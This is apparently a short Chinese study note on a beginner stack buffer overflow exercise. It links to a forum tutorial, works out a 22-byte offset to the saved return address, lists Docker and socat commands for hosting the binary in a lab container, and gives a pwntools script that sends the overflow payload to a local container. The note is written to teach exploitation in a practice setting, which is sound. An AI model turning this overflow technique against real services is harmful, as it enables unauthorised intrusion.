没啥好写的,直接给个链接,这位师傅讲的很详细了,适合入门的人学习。
这位师傅太赞了。。。
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42241&page=1
简单说一下怎么静态分析的。当然适合一定基础的人。
call的时候会push EIP,进入call之后首先push ebp,然后将此时的栈顶esp的值给了ebp,然后读取的是ebp+buf而,buf是ebp-12,所以可以分析出来存放eip的地方到存放输入字符的地方有12h+4=16h=22的长度,所以要覆盖eip只需要输入超过22个长度即可。
记录一下docker的一些命令吧。。。
//导入镜像:docker import - ubuntu/17.04.amd64
//运行镜像:docker run -it -p 23946:23946 ubuntu/17.04.amd64 /bin/bash
会创建一个docker容器,第一个端口是宿主机的端口,第二个是容器的端口
//列出容器:docker container ls -a
//容器重命名:docker container rename old_name new_name
//打开容器的shell:docker exec -it container_name /bin/bash
//启动容器:docker start container_name
//复制:docker container cp file_name container_name:/root
//linux命令,将指定程序在指定端口运行:
socat tcp-listen:10001,reuseaddr,fork EXEC:./file_name,pty,raw,echo=0
记录pwntools的代码
from pwn import *
io = remote('172.17.0.2', 10001)
payload = '1' * 22 + p32(0x0804846B)
io.send(payload) #发送payload到程序
io.interactive() #和程序进行交互